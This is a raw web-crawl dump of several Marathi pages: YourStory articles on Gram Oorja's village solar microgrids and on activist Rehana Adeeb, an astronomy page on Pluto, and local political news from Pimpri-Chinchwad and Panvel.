प्रकल्प सुरू करण्यासाठी बिहार, महाराष्ट्र आणि तमिळनाडू या राज्यांत वीजेचे ग्रीड न पोहोचलेली गावं शोधत होता. आमच्याकडे अशी गावं तयारच होती. महाराष्ट्रात पुणे जिल्ह्यातील जुन्नर तालुक्यातील दरेवाडी गावाचे संपूर्ण सर्वेक्षण आम्ही आधीच पूर्ण केले असल्याने गावात किती घरं आहेत, त्यांची घरगुती, शेतीची व इतर विजेची गरज किती, तिथे किती क्षमतेची सिस्टीम उभारावी लागेल या प्रश्नांच्या इत्यंभूत माहितीसह आम्ही बॉश कंपनीच्या अधिकाऱ्यांसमोर हा प्रकल्प चालवण्याचे सादरीकरण केले. आम्ही उत्तर प्रदेशात यशस्वी केलेल्या प्रकल्पाचे उदाहरण होतेच. बॉश कंपनीने या प्रकल्पाला मंजुरी दिली.ʼ ग्राम उर्जाने गावातील ३९ घरे, शेतीचे पंप, रस्त्यावरचे दिवे, गिरणी, कम्प्यूटर यांना पुरेल अशी ९.४ किलो वॅट पीक वीज निर्माण करणारी यंत्रणा दरेवाडीमध्ये बसवली. यासाठी आलेला ३० लाख रुपये खर्च बॉश कंपनीने केला. ४ जुलै २०१२ ला ग्राम उर्जा कंपनीचे सर्व इंजिनीअर्स, गावकरी, जर्मनीवरून आलेले बॉश कंपनीचे वरिष्ठ अधिकारी डॉ. जॉर्ज हना यांच्या उपस्थितीत या प्रकल्पाचे उद्घाटन झाले आणि अनेक वर्षे अंध:कारात बुडालेली दरेवाडी प्रकाशात न्हाऊन निघाली. सामाजिक काम कोणत्यातरी अनुदानावर, सरकारी मदतीवर, कर्जाच्या रकमेवर पूर्ण करण्याचा प्रघात आपल्या देशात आहे. ‘निमित्तमात्रं भवʼ हे श्रीमद्भगवतगीतेतलं वचन ब्रीद असणाऱ्या ग्राम उर्जा सोल्यूशन्सने मात्र संपूर्ण स्वावलंबी तत्वावर दरेवाडी प्रकल्प उभा केला.\n‘दरेवाडीतील प्रकल्प आपला स्वत:चा आहे अशी गावकऱ्यांची धारणा झाली तरच तो योग्य प्रकारे चालेल असे आमचे मत होते. त्यामुळे प्रकल्प सुरू करण्यापूर्वीच गावकऱ्यांशी त्याबाबत चर्चा केली होती. अजिबात वीज नसल्याने काळ्या बाजारात मिळणाऱ्या रॉकेलवर त्यांचे दिवे सुरू होते. पूर्ण वेळ व्यवस्थित वीज मिळणार हे कळाल्यावर गावकऱ्यांनी होकार दिला. पण त्या विजेसाठी दरमहिना बिल भरावं लागेल हेही आम्ही त्यांना सांगितलं. चांगली वीज मिळाली तर आम्ही बिल भरू अशी तयारीही त्यांनी दाखवली. गावकऱ्यांच्या सहकार्यातूनच हा प्रकल्प उभा राहिला. सौर उर्जा प्रकल्प चालवण्यासाठी गावात एक रजिस्टर्ड ट्रस्ट स्थापन केला. त्यामध्ये ग्राम उर्जा कंपनीचा कोणीही सदस्य नव्हता. गावकरीच दर महिन्याला प्रतियुनिट वापरानुसार बिलं तयार करतात. वापरानुसार १२५ ते २५० रुपयांदरम्यान मासिक बिल ग्राहकांना येतं. जमा झालेली रक्कम बँकेतील खात्यात भरण्यात येते. गावात एका व्यक्तिला प्राथमिक तांत्रिक प्रशिक्षण देऊन यंत्रणेची देखभाल करण्यास सांगितले आहे. तोच युनिट मोजून बिले तयार करतो. अशाप्रकारे गेली चार वर्षे हा प्रकल्प उत्तम चालू आहे. या निमित्ताने आम्ही सामाजिक जबाबदारीचे नवे मॉडेल विकसित केले आहे. तेच आम्हाला पुढे वापरता आले,ʼ असं समीर नायर यांनी सांगितलं.\nया यशानंतर बॉश कंपनीने ग्राम उर्जाच्या मदतीने कर्नाटकातील उत्तर कन्नड जिल्ह्यात विरल या गावातही प्रकल्प उभा केला. ग्राम उर्जाच्या इंजिनिअर्सने इथे ५ किलो वॅट पीक क्षमतेचा प्रकल्प उभारून २१ घरांना वीज पुरवली आहे. या प्रकल्पात संजिवनी सेवा ट्रस्ट या स्थानिक स्वयंसेवी संस्थेने ग्राम उर्जाला मदत केली आहे.\nठाणे जिल्ह्यातील जव्हार या आदिवासी तालुक्यात सात गावांतील २०० घरांना वीज पुरवठा करणारी ३८ किलो वॅट पीकची सौर उर्जा यंत्रणा, १५ शेती पंप यंत्रणा तयार करून ग्राम उर्जाने आणखी मोठी उडी मारली. प्रगती प्रतिष्ठान ही संस्था या भागात आधीपासून कार्यरत आहे. या संस्थेच्या मदतीने ही सात गावं उजळून निघाली. त्यांना नळ योजनेतून घराजवळ पाणी मिळू लागलं. पाणी भरण्यासाठी दिवस खपवणाऱ्या घरातील महिलांना मुलांच्या शिक्षणाकडे, संगोपनाकडे लक्ष द्यायला वेळ मिळू लागला. स्वच्छ पाणी मिळू लागल्यामुळे आरोग्यातही सुधारणा झाली. इतकी वर्ष जगापासून तुटलेल्या या पाड्यांवरील लोकांचा टीव्हीमुळे जगाशी संपर्क आला. या प्रकल्पाला आयसीआयसीआय बँकेने एक कोटी रुपयांचे अर्थसहाय्य केले. कंपनीने सौर उर्जेबरोबर बायोगॅस प्रकल्पही उभे केले आहेत. मुंबईजवळ केशवसृष्टीत तसंच एस्सेल प्रोपॅक कंपनीत हे प्रकल्प उत्तमरित्या सुरू आहेत. पुण्याजवळ कोळवण इथं पाइपलाईनमधून गावातील घरांत गॅस पुरवठा करण्याचा प्रकल्पही यशस्वी झाला आहे.\n‘ग्राम उर्जा सोल्यूशन्सच्या या कामगिरीची दखल राष्ट्रीय, आंतरराष्ट्रीय पातळीवर घेण्यात आली. जर्मनी, स्वीडन, जपान, स्पेन, आफ्रिका खंडातील देशांतील अनेक विद्यापीठांचे प्राध्यापक, विद्यार्थी अभ्यासासाठी ग्राम उर्जाच्या प्रकल्पांना भेटी देऊन गेले. अनेकांनी त्यावर निबंधही सादर केले आहेत. ऑब्झर्व्हर्स रिसर्च फाउंडेशनने ग्राम उर्जाला सोलर हिरो - २०१४ हा पुरस्कार देऊन गौरवले आहे. आजही इंटरनेटवर माहिती वाचून अनेक इंजिनीअर्स आमच्याकडे नोकरी करण्यासाठी सीव्ही पाठवतात,ʼ असे प्रसाद कुलकर्णींनी आवर्जून सांगितले.\n'नंदुरबारमधील प्राथमिक आरोग्य केंद्रांचा सौर उर्जा प्रकल्प, ओरिसा, झारखंडमध्ये २०० घरांना वीज देण्याचा प्रकल्प यावर सध्या कंपनीचे इंजिनीअर्स काम करत आहेत. ‘देशांत अनेक खेड्यांत अद्याप वीज पोहोचलेली नाही. भविष्यात ती पोहोचणे अवघड आहे. ही गावे शोधून रूरल इलेक्ट्रिफिकेशन करणे, आवश्यक तिथे बायोगॅस प्रकल्प उभारणे आणि निमित्तमात्र बनून खेड्यांतील भारतीयांचे जीवन सुसह्य करणे हाच आमचा प्रयत्न आहे. दरेवाडीतील विजेमुळे क्रिकेटचा सामना पहायला जमलेल्या तरुणांनी आमच्या प्रयत्नांवर विश्वासाची मोहोर उमटवली आहे. असाच विश्वास देशातील अन्य भागांत निर्माण करायचा आहे,ʼ असं अंशुमन लाट यांनी सांगितलं.\nशहरांत राहून, टीव्हीवरच्या बातम्या पाहून मते मांडण्यापेक्षा प्रत्यक्ष ग्रामीण भागात काम करणाऱ्या व बदल घडवणाऱ्या ग्राम उर्जा सोल्यूशन्सच्या टीममधील अनंत कवडे, किरण औटी, प्रिया पुरवार, आशीष कुमार सिंग, राहुल कारेकर, गणेश शेणॉय, आशुतोष, प्रियम काकोटी बोरा, श्रेयस भालेराव हे तरुण शिलेदार प्रयत्न करतात नवा भारत घडवण्याचा. त्यांच्या कार्याला युवर स्टोरीच्या शुभेच्छा.\nयासारख्या आणखी काही प्रेरणादायी कहाण्या वाचण्यासाठी आमच्या YourStory MarathiFacebook पेजला भेट द्या. लाईक करा\nआता वाचा संबंधित कहाण्या :\nग्रामीण भारताचे चित्र पालटणे हेच ध्येय : झरिना स्क्रूवाला\nपुणे स्थित ऑटो-रिक्षा जाहिरात स्टार्टअप प्रॉक्झिमिटीने '1क्राऊड'च्या सहाय्याने उभारला एक कोटी रुपयांचा निधी\nगावांच्या विकासासाठी व्यावसायिक कारकीर्दसोडून २२वर्षाच्या मोना कौरव बनल्या महिला सरपंच, वर्षभरात पालटले चित्र\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00165.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/5e73430c14/conservative-thinking-is-changing-society-a-woman-victim-of-sexual-sosanane", "date_download": "2018-09-25T17:55:33Z", "digest": "sha1:GZNBXPBIN4LHLHPETELDFKB63BCMFRG7", "length": 14011, "nlines": 88, "source_domain": "marathi.yourstory.com", "title": "लैंगिक अत्याचाराने पीडित एक स्त्री बदलत आहे समाजातील रूढीवादी विचार", "raw_content": "\nलैंगिक अत्याचाराने पीडित एक स्त्री बदलत आहे समाजातील रूढीवादी विचार\nमातृत्व हे स्त्रीला दैवाने दिलेली नैसर्गिक देणगी आहे. अशा या जननीची अनेक रूपे आहेत जसे आई, बहिण, पत्नी, मुलगी. पण आजही अनेक ठिकाणी या पुरुषप्रधान संस्कृतीने स्त्रीला अनेक बंधनांमध्ये जखडून ठेवले आहे. तिला बुरख्यात ठेवणे, शिक्षण तसेच स्वातंत्र्याने फिरण्याची बंदी करणे अशा अनेक प्रकारे ‘ती’ ला बंदिस्त करण्याचा प्रयत्न केला जात आहे. समाजात पसरलेल्या अशाच कुप्रथेविरुद्ध लढा देत आहेत उत्तर प्रदेशच्या मुज्जफ्फरनगर मध्ये राहणाऱ्या रेहाना अदीब. त्या महिलांना शोषण मुक्ती, न्याय व सन्मान देण्याचे काम करीत आहेत.\nरेहाना या बालवयातच आपल्या जवळच्यांकडूनच लैंगिक शोषणाला बळी पडल्या. त्या सांगतात की, ‘जेव्हा मी १७-१८ वर्षाची होते तेव्हाच मला लक्षात आले की माझ्याबरोबर काहीतरी चुकीचे घडत आहे. मी ऐकले होते की ज्यांच्याबरोबर चुकीचे झाले आहे त्यांना कुणीही साथ देत नाही. त्यामुळे तक्रार करायची कुणाकडे कुठे जायचे हे माहित नव्हते. ’तेव्हा त्या ‘दिशा’ नामक एका संस्थेशी जोडल्या गेल्या व स्त्रियांवर होणाऱ्या अत्याचाराविरोधातल्या ‘धरणे’ आंदोलनात हिरहिरीने भाग घेऊ लागल्या.\nरेहाना सांगतात की, ‘मी लहानपणापासून बघितले की मुलींना यात्रेत घेऊन जायचे नाही, रस्त्याने मान खाली घालून चालले पाहिजे, डोके झाकले पाहिजे यासगळ्या गोष्टींमुळे मन क्षुब्ध होत असे, की ही सारी बंधने मुलींनाच का मुलांना का कुणी काही सांगत नाही.’\nरेहाना सांगतात की, मनुष्य नेहमीच समाजातील घडत आलेल्या चुकीच्या प्रथांना आळा घालण्याचा व त्याला सुधारण्याचा विचार करत असतो, याच विचारांनी त्यांनी सन १९८९ मध्ये आपली संस्था ‘अस्तित्व’ ची स्थापना केली. मुज्जफ्फरनगर व सहारनपुरमधील त्यांच्या या संस्थेत १८-२० कार्यकर्त्या कार्यरत असून सुमारे सहा हजार स्त्रिया या संघटनेशी जोडलेल्या आहेत.\nरेहाना यांची संस्था गांव व शहरांमधील मुलींसाठी व स्त्रियांसाठी हक्काची लढाई लढत आहे. सुरवातीला त्यांनी स्त्रियांच्या छोट्या गोष्टींकडे लक्ष केंद्रित केले. लोकांना समजावले की मुलींना पण मुलांप्रमाणे संधी द्या त्यांना पण पुढे जाण्याचा हक्क आहे. हळूहळू त्या बलात्कार, हुंडा व स्त्रियांच्या इतर मुद्द्यांबद्दल आवाज उठवू लागल्या. रेहाना आपल्या संस्थेअंतर्गत अश्या मुलींना शिक्षणाची संधी पुन्हा देतात ज्यांचे शिक्षण काही कारणाने अर्धवट राहिले आहे. बालविवाहासारख्या कुप्रथेविरुद्ध आवाज उठवून जनजागृती करून मुलींना उच्च शिक्षणासाठी प्रेरित करतात. यासाठी त्या अनेक शाळांशी जोडल्या गेलेल्या आहेत.\nरेहाना सांगतात की, “आमचा समाज कोणतेही लिंगभेद करत नाही परंतु आमची लढाई पुरुषांशी नाही तर अशा 'सिस्टिम'शी आहे जे स्त्री पुरुषांमध्ये दरी निर्माण करतात. तर समाजातील काही लोक स्वतःला धर्माचे ठेकेदार समजून भेद निर्माण करण्याचा प्रयत्न करतात\nरेहाना मानतात की, आमची सगळ्यात मोठी लढाई ही मुलींच्या लैंगिक शोषनाविरुद्ध आहे. त्या सांगतात की, माझ्या शेवटच्या श्वासापर्यंत मी या विरोधात लढत राहील, कारण यामुळे मुली इतक्या कुंठीत होतात की त्यांचे घराबाहेर पडणे कठीण होते. संप्रदायपद्धतीतील संवेदनशील असलेले मुज्जफ्फरनगर व सहारनपुरमध्ये रेहानाने 'परदा' प्रथेच्या विरोधात एकसारख्या उठवत होत्या. त्यांचे असे मानने आहे की, बुरख्याआड स्त्रियांची उर्जा व गतिशीलता कमी होते. प्रत्येक स्त्रीने आपल्या संस्कृतीचा व सभ्यतेचा सन्मान मनापासून केला पाहिजे. जर मनातच सन्मान नाही तर आड-पडद्यात रहाण्याचा अर्थ तो काय. रेहाना आज ज्या क्षेत्रात समाज प्रबोधनाचे काम करतात ते एक असे क्षेत्र आहे जिथे हिंदू-मुस्लीम एकोप्याने त्याला मनापासून पाठींबा देतात. जेथे धर्माच्या नावाखाली दंगली होतात तेथे त्या लोकांना समजावतात की मनुष्य धर्म हा सगळ्यात मोठा धर्म आहे, ज्या दिवशी या समाजातील माणुसकी संपेल त्या दिवशी जगच संपुष्टात येईल.\nआपल्या आव्हानांबद्दल त्या सांगतात की, सिस्टीमला सुधारण्याच्या माझ्या मागणीमुळे मला खाप व काठ पंचायतींकडून धमक्या मिळतात, तसेच अनेक शाळेतील शिक्षकांकडून विरोध पत्करावा लागतो. म्हणून मला आपल्या कामाची जागा सारखी बदलावी लागते. त्या सांगतात की जन्म हिंदू कुटुंबातील नसल्यामुळे मला ते आपले मानत नाहीत व मुसलमान सांगतात की, तुम्ही परदा करत नाही, तुम्हाला भेटायला पोलीस, पत्रकार व दुसरे पुरुष येतात त्यामुळे जर तुम्ही स्वतः सुधारु शकल्या नाही तर दुसऱ्या स्त्रियांना काय सुधाराल. तरीही त्यांना वाटते की,’’आम्ही भारतीय मुसलमान स्त्रिया आहोत व आम्हाला भारतीय संविधानप्रमाणेच आपले अधिकार मिळाले पाहिजेत व धर्माच्या ठेकेदारां कडून बनवलेल्या कायद्यांचे बंधन नकोत.”\nयासारख्या आणखी काही प्रेरणादायी कहाण्या वाचण्यासाठी आमच्या YourStory MarathiFacebook पेजला भेट द्या. लाईक करा\nआता वाचा संबंधित कहाण्या :\nधर्मापलीकडे जाऊन मुलांच्या शिक्षणाकरिता झटणारी ʻदिपालयʼ\nसमाजाच्या कटू वाक्यांनी बदलले आयुष्य, आज दोनशे मुलांसाठी ‘आई’ आहेत सविता...\nवयाच्या १० व्या वर्षी लग्न, २० व्या वर्षी ४ मुलं, ३० व्या वर्षी एका संस्थेची स्थापना...... आता २ लाख स्त्रियांचा विश्वास ‘फूलबासन’\nलेखिका : गीता बिश्त\nअनुवाद : किरण ठाकरे\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00165.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://avakashvedh.com/suryamala/pluto.html", "date_download": "2018-09-25T17:41:07Z", "digest": "sha1:KIBZH7XHK3DEV45XMSECXAYBZYIUYIO6", "length": 10171, "nlines": 126, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nसूर्यमालेतील नववा आणि शेवटचा ग्रह. युरेनस आणि नेप्च्यूनचा शोध लागल्यानंतर त्यांची भ्रमण कक्षा ठरविण्यात आली. गणित शास्त्राप्रमाणे हे दोन्ही ग्रह आपापल्या मार्गावरून जाणे आवश्यक होते. परंतु ते कक्षेच्या थोडे अलीकडे पलीकडे दिसू लागले. तेव्हा या ग्रहांना आकर्षित करणारा एखादा ग्रह कुठेतरी असावा असे शास्त्रज्ञाना वाटले. त्या दिशेने त्यांचे प्रयत्न सुरू झाले आणि प्रयत्नांना गणिताची जोड मिळाल्याने अखेर १८ फेब्रुवारी १९३० साली लुटो या ग्रहाचा शोध लागला. दुर्बिणीनेच हा ग्रह पाहता येतो.\nया ग्रहाचे सूर्यापासूनचे अंतर साधारणतः ५, ९०६, ३७६, २०० कि. मी. ( 39.48168677 A.U.) आहे. स्वतःभोवती एक फेरी पूर्ण करण्यास यास साधारणतः ६. ५ दिवस लागतात. तर सूर्याभोवती एक प्रदक्षिणा पूर्ण करण्यास यास जवळपास २४८ वर्षे लागतात. शास्त्रज्ञानी केलेल्या आकारमानापेक्षा हा फारच लहान निघाला. प्लुटोचे आकारमान पृथ्वीच्या आकारमानापेक्षा कमी आहे. याचा व्यास साधारणतः २, ३६० कि. मी. आहे.\nसूर्याभोवती तो दीर्घ लंबवर्तुळाकार कक्षेत फिरतो. तसेच आपल्या कक्षेमध्ये फिरत असताना कधीकधी तो नेप्च्यूनच्या कक्षेपेक्षासुद्धा सूर्याच्या जवळ येतो.\nप्लुटोला एक चंद्र आहे. तो बाकीच्या ग्रहांच्या चंद्राइतका मोठा नाही. परंतु तो इतर ग्रह व त्यांचे उपग्रह यांच्या परस्परासापेक्ष उपग्रहांच्या तुलनेत बराच मोठा आहे. त्याचा प्लुटो भोवती फिरण्याचा काल हा प्लुटोच्या परिवलन कालाएवढाच आहे. त्यामुळे ते जोड ग्रह असल्याप्रमाणे एकमेकांभोवती फिरत फिरत सूर्याभोवती फिरतात.\nखालिल चित्र मोठ्या आकारामध्ये पाहाण्यासाठी त्यावर क्लिक करा.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00166.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AA%E0%A4%BF%E0%A4%82%E0%A4%AA%E0%A4%B0%E0%A5%80-%E0%A4%9A%E0%A4%BF%E0%A4%82%E0%A4%9A%E0%A4%B5%E0%A4%A1-%E0%A4%AD%E0%A4%BE%E0%A4%9C%E0%A4%AA%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%89/", "date_download": "2018-09-25T18:00:22Z", "digest": "sha1:XDYVWQJLSQGQBMWMJA333OU6LFFX7VC4", "length": 7509, "nlines": 70, "source_domain": "pclive7.com", "title": "पिंपरी चिंचवड भाजपच्या उपाध्यक्षपदी दीपक मोढवे-पाटील यांची निवड | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड पिंपरी चिंचवड भाजपच्या उपाध्यक्षपदी दीपक मोढवे-पाटील यांची निवड\nपिंपरी चिंचवड भाजपच्या उपाध्यक्षपदी दीपक मोढवे-पाटील यांची निवड\nपिंपरी (Pclive7.com):- भारतीय जनता पार्टी पिंपरी चिंचवड शहर (जिल्हा) उपाध्यक्षपदी दीपक मोढवे-पाटील यांची निवड करण्यात आली. भाजपचे शहराध्यक्ष आमदार लक्ष्मण जगताप यांच्या हस्ते त्यांना नियुक्‍तीपत्र देण्यात आले. यावेळी महापालिकेतील सत्तारूढ पक्षनेते एकनाथ पवार, भाजपचे प्रवक्‍ते अमोल थोरात आदी उपस्थित होते.\nपिंपरी चिंचवडमधील उद्योगक्षेत्रात यशस्वी वाटचाल करणारे दीपक मोढवे-पाटील यांनी महाराष्ट्र नवनिर्माण सेनेत वाहतूक आघाडीच्या शहराध्यक्षपदाची जबाबदारी सांभाळली होती. महापालिका निवडणुकीपूर्वी त्यांनी भाजपमध्ये प्रवेश केला. तसेच, महापालिका निवडणुकही त्यांनी भाजपच्या तिकीटावर लढवली होती. दरम्यान, पक्ष संघटनेत युवा कार्यकर्त्यांना महत्त्वाची जबाबदारी देण्याची भूमिका पक्षश्रेष्ठींनी घेतली. त्याआधारे भाजपच्या शहर उपाध्यक्षपदाची जबाबदारी मोढवे-पाटील यांच्याकडे सोपवण्यात आली आहे. युवकांचे संघटन आणि उद्योग क्षेत्राकडे वळण्यासाठी तरुणांना प्रेरणा देण्यासाठी मोढवे-पाटील यांनी कायम पुढाकार घेतला आहे. आगामी लोकसभा आणि विधानसभा निवडणुकीत प्रभावी संघटन करुन पक्षाच्या उमेदवारांसोबत युवकांची मोठी फळी उभा करण्याचा निर्धार मोढवे-पाटील यांनी केला आहे.\nTags: bjpChinchwadPCLIVE7.COMPcmc newspimpriआमदारउपाध्यक्षचिंचवडदीपक मोढवे-पाटीलपिंपरीभाजपालक्ष्मण जगताप\nआरोग्य विभागाच्या अधिकाऱ्यांना आमदार जगतापांनी घेतले फैलावर\nगणेशोत्सवानंतर शहरातील गुन्हेगारांचा योग्य बंदोबस्त करू – पोलीस आयुक्त\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00166.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.esakal.com/mumbai/panvel-election-panvel-news-bhiwandi-news-malegaon-news-election-results-corporation-election", "date_download": "2018-09-25T17:28:57Z", "digest": "sha1:T7BUG5Z7SXOGOIDYD62TCBDYVKQE7K5K", "length": 13068, "nlines": 187, "source_domain": "www.esakal.com", "title": "panvel election, panvel news, bhiwandi news, malegaon news, election results, corporation election result bjp ramseth thakur prashant thakur पनवेलमध्ये भाजपला स्पष्ट बहुमत | eSakal", "raw_content": "\nपनवेलमध्ये भाजपला स्पष्ट बहुमत\nशुक्रवार, 26 मे 2017\nनव्याने स्थापन झालेल्या पनवेल महानगरपालिकेच्या प्रतिष्ठेच्या निवडणुकीत भारतीय जनता पक्षाने बाजी मारली आहे. भाजप आणि शेतकरी कामगार पक्षामध्ये चुरशीची लढत होण्याची शक्‍यता व्यक्त करण्यात येत होती. मात्र आमदार प्रशांत ठाकूर यांच्या नेतृत्त्वाखालील भाजपने स्पष्ट बहुमत मिळविले आहे.\nपनवेल : नव्याने स्थापन झालेल्या पनवेल महानगरपालिकेच्या प्रतिष्ठेच्या निवडणुकीत भारतीय जनता पक्षाने बाजी मारली आहे. भाजप आणि शेतकरी कामगार पक्षामध्ये चुरशीची लढत होण्याची शक्‍यता व्यक्त करण्यात येत होती. मात्र आमदार प्रशांत ठाकूर यांच्या नेतृत्त्वाखालील भाजपने स्पष्ट बहुमत मिळविले आहे.\nआतापर्यंत हाती आलेल्या माहितीनुसार एकूण 78 जागांपैकी 61 जागांचे कल समोर आले आहेत. त्यापैकी तब्बल 51 जागांवर भाजपने आघाडी मिळविल आहे. तर शेकापला केवळ 17 जागांवर आघाडी मिळविली आहे. विशेष म्हणजे आतापर्यंतच्या कलामध्ये इतर कोणत्याही पक्षाला एकाही जागेवर आघाडी मिळविता आलेली नाही. पहिल्यांदाच झालेल्या पनवेल महापालिकेची निवडणूक भाजपसाठी प्रतिष्ठेची, शेकाप-काँग्रेस-राष्ट्रवादी काँग्रेस महाआघाडीसाठी अस्तित्वाची तर शिवसेनेसाठी चाचपणी ठरली. भाजपने रिपाईसोबत युती करत निवडणूक लढविली. स्पष्ट बहुतम मिळाल्याने भाजपने प्रतिष्ठा राखली आहे.\nमोदी सरकारच्या त्रिवर्षपूर्तीविषयी आणखी वाचा:\nमोदींचा करिष्मा अजूनही कायम\nकाळा पैशाला आळा; आता रोजगारनिर्मिती हवी\nस्मार्ट सिटी मिशनला गती मिळेना\nदिशाभूल करण्यासाठी कोट्यवधींची उधळपट्टी\nघोषणांचा महापूर, शेतकरी कोरडाच\nहायस्पीड रेल्वेला आता द्यावे प्राधान्य\nआणखी ताज्या बातम्या वाचा:\nनाशिकमधील गडकरी चौकात अपघात; तीन ठार\nपनवेलमध्ये भाजप, मालेगावात शिवसेना; भिवंडीत काँग्रेस आघाडीवर\nविरोधी पक्षाच्या नेत्यांना सोनियांचे मेजवानीचे निमंत्रण\nमुंबई-गोवा महामार्गावर रत्नागिरीजवळ अपघात; तीन ठार\n#NarendraModi सरकारला 3 वर्षे पूर्ण झाल्यानिमित्त खास वॉलपेपर्स डाऊनलोड करा\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\n...तर युवक महोत्सव उधळून लावू\nऔरंगाबाद : कुलगुरूंच्या दालनात आंदोलन करणाऱ्या अभाविपच्या कार्यकर्त्यांवर कारवाई केली नाही, तर बुधवारपासून (ता. 26) सुरू होणारा केंद्रीय युवक महोत्सव...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल 